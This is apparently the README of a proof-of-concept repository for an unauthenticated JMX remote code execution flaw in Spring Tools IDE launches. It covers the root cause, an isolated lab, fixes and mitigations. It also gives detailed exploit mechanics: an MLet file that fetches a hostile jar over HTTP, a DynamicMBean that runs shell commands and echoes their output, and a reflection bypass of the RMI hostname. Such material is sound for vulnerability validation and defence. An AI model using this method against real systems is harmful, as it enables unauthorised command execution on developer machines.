1. Root cause (source evidence)

Diff between affected tag 5.2.0.RELEASE (== v2.2.0) and fixed tag 5.3.0.RELEASE (== v2.3.0):

Vulnerable eclipse-extensions/.../boot/launch/livebean/JmxBeanSupport.java:

• BootLaunchConfigurationDelegate.DEFAULT_ENABLE_JMX = true: enabled by default; every Boot app launch from the IDE gets these args.
• VSCode extension 2.2.0 (vscode-extensions/vscode-spring-boot/lib/debug-config-provider.ts) injects the same -Dcom.sun.management.jmxremote.port=<port> -Dcom.sun.management.jmxremote.authenticate=false -Dcom.sun.management.jmxremote.ssl=false.

Fixed 5.3.0:

• With a pinned port: adds -Dcom.sun.management.jmxremote.host=127.0.0.1 + -Dcom.sun.management.jmxremote.local.only=true (JMX binds to loopback only).
• Default (port 0): no com.sun.management.jmxremote* args at all — JMX agent is started on-demand via the Attach API against the child PID (VSCode side likewise: debug-config-provider.ts removes the remote JMX args entirely).

Note: -Dcom.sun.management.jmxremote.port alone is enough to enable the JMX agent (the main com.sun.management.jmxremote switch is not required) — the VSCode variant is equally exploitable.

2. Quick usage (two separate scripts)

The scripts are fully decoupled: setup-lab.sh only builds the environment, attack.sh only performs the exploit. Requirements: docker, JDK 17+ (default /usr/lib/jvm/java-21-openjdk-amd64), maven, python3, nsenter (optional).

2.1 Step 1: environment setup (setup-lab.sh)

It builds the victim Spring Boot app → creates an isolated docker bridge network (victim container 172.22.0.x, attacker on the host = adjacent network) → starts the app with the per-version JVM args → shows JMX listening sockets → prints the victim IP / JMX port / gateway. The victim keeps running so you can attack it next.

2.2 Step 2: exploit (attack.sh)

It builds the evil jar → generates mlet.txt (command delivered via <ARG>) → serves the payloads over HTTP → runs the exploit. The payload only executes the command and echoes it back: the command runs synchronously via /bin/sh -c inside the victim JVM, its output is captured in memory, and the exploit pulls it back over the same JMX connection (Pwn.getOutput() / getExitCode()) and prints it on the attacker side. No files are written on the target — to also keep the output there, redirect inside the command (e.g. "id > /tmp/out.txt").

Contrast test: ./setup-lab.sh vuln → exploit succeeds; then ./setup-lab.sh cleanup && ./setup-lab.sh fixed-pinned → exploit must fail (JMX loopback only).

3. Exploit usage (flexible command)

3.1 One-shot attack.sh (recommended)

The command is fully configurable, and changing it requires no recompilation (the command is delivered through the MLET <ARG> tag; the jar is command-agnostic):

Flow: builds evil.jar → XML-escapes the command and generates mlet.txt → serves evil.jar + mlet.txt over HTTP → compiles and runs JmxExploit. The payload only executes the command and echoes its output back; it writes nothing on the target.

3.2 Manual step-by-step

3.3 Payload & echo

• Pwn implements DynamicMBean; the command runs synchronously in the constructor via /bin/sh -c (priority: MLET <ARG> argument > victim env var CVE_PAYLOAD_CMD > default id; hostname; uname -a).
• Echo, zero disk footprint: Pwn captures the command's stdout/stderr in memory; the exploit then invokes getOutput() / getExitCode() over the same JMX connection and prints the output on the attacker side. No files are written on the target (apart from side effects of the command itself). To also keep the output on the target, redirect inside the command ("id > /tmp/out.txt" or "id 2>&1 | tee /app.log").

Why <ARG>? JDK MLetParser only recognizes <ARG> (<PARAM> is silently ignored), and both TYPE and VALUE are mandatory. Also, the MLet parser does NOT handle HTML comments — keep any stray <...> text out of mlet.txt.

4. How it works: direct RCE, not a callback exploit

• Direct execution: the command runs synchronously inside the victim JVM; by the time getMBeansFromURL returns, the command has finished (output has already landed in the victim app's log/console).
• Not a callback exploit: no JNDI/LDAP/RMI callback. Classic callback attacks (Log4Shell / JRMPListener-style) require the victim to dial back to an attacker-controlled LDAP/RMI service; here it is the opposite — the attacker actively drives the victim's JMX service end-to-end.
• The only victim→attacker traffic is a plain HTTP GET (downloading the payload jar — i.e., delivering the malicious class to the target); it is not a callback shell and does not need to stay connected.
• Bypass note: the vulnerable args include -Djava.rmi.server.hostname=localhost, which only makes RMI stubs advertise "localhost" (a default client dials its own loopback and fails — reproduced by NaiveJmxClient). JmxExploit rewrites the stub's TCPEndpoint host via reflection (Metasploit java_jmx_server and similar tools bypass it the same way).

5. Test matrix & evidence

Evidence (echoed directly on the attacker side; zero files written on the target):

6. Fix & mitigation

• Upgrade: Spring Tools for Eclipse 5.3.0 / VSCode·Cursor·Theia 2.3.0 (OSS).
• If you cannot upgrade (official workaround): disable live information when launching Spring Boot applications from the IDE ("Enable live information" in the Boot launch configuration).
• Emergency hardening: firewall developer machines so IDE-launched apps are not reachable from the LAN; or override the args with -Dcom.sun.management.jmxremote.host=127.0.0.1 -Dcom.sun.management.jmxremote.local.only=true.

7. Repository layout

8. Disclaimer

This repository is provided for authorized security research, vulnerability validation and defensive testing only. Using it against any system without authorization is illegal; you are solely responsible for your actions.